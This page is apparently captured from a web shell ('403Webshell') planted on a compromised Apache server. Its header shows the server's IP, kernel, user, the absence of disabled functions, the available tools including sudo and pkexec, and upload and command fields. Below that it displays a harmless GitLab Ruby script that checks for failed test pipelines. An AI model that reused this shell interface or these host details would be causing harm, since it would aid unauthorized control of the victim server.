403Webshell
Server IP : 188.151.22.197  /  Your IP : 216.73.217.74
Web Server : Apache/2.4.62 (Rocky Linux) OpenSSL/3.5.5
System : Linux wsten.se 5.14.0-687.30.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 13:09:21 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/gitlab/embedded/service/gitlab-rails/scripts/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/gitlab/embedded/service/gitlab-rails/scripts/api/get_test_on_omnibus_job.rb
# frozen_string_literal: true

# We need to take some precautions when using the `gitlab` gem in this project.
#
# See https://docs.gitlab.com/ee/development/pipelines/internals.html#using-the-gitlab-ruby-gem-in-the-canonical-project.
require 'gitlab'
require_relative 'default_options'

class GetTestOnOmnibusJob
  FAILED_STATUS = [
    'failed',
    'passed with warnings',
    'canceled'
  ].freeze

  def initialize(options)
    @project = options.fetch(:project)
    @pipeline_id = options.fetch(:pipeline_id)

    # If api_token is nil, it's set to '' to allow unauthenticated requests (for forks).
    api_token = options.fetch(:api_token, '')

    warn "No API token given." if api_token.empty?

    @client = Gitlab.client(
      endpoint: options.fetch(:endpoint) || API::DEFAULT_OPTIONS[:endpoint],
      private_token: api_token
    )
  end

  def execute
    package_and_test_bridge = client
      .pipeline_bridges(project, pipeline_id, per_page: 100)
      .auto_paginate
      .find { |job| job.name.include?('test-on-omnibus-ee') }

    return if package_and_test_bridge&.downstream_pipeline.nil?

    package_and_test_pipeline = client
      .pipeline(project, package_and_test_bridge.downstream_pipeline.id)

    return if package_and_test_pipeline.nil?

    status = package_and_test_pipeline.detailed_status

    package_and_test_pipeline if FAILED_STATUS.include?(status&.label)
  end

  private

  attr_reader :project, :pipeline_id, :client
end

Youez - 2016 - github.com/yon3zu
LinuXploit